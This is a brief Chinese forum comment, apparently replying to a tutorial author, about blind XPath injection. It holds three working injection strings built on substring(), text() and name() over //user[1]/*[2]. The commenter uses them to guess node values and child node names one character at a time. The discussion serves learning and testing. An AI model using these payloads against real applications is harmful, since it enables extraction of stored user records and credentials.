大佬,这两行,我测试了一下

'or substring(//user[1]/*[2],1,1)='u' or 'a'='a

'or substring(//user[1]/*[2]/text(),1,1)='a' or'a'='a

作用一样,都是用来探测节点的值,要是想要探测子节点的名字的话,

'or substring(name(//user[1]/*[2]),1,1)='u' or 'a'='a

这样写,会更好一点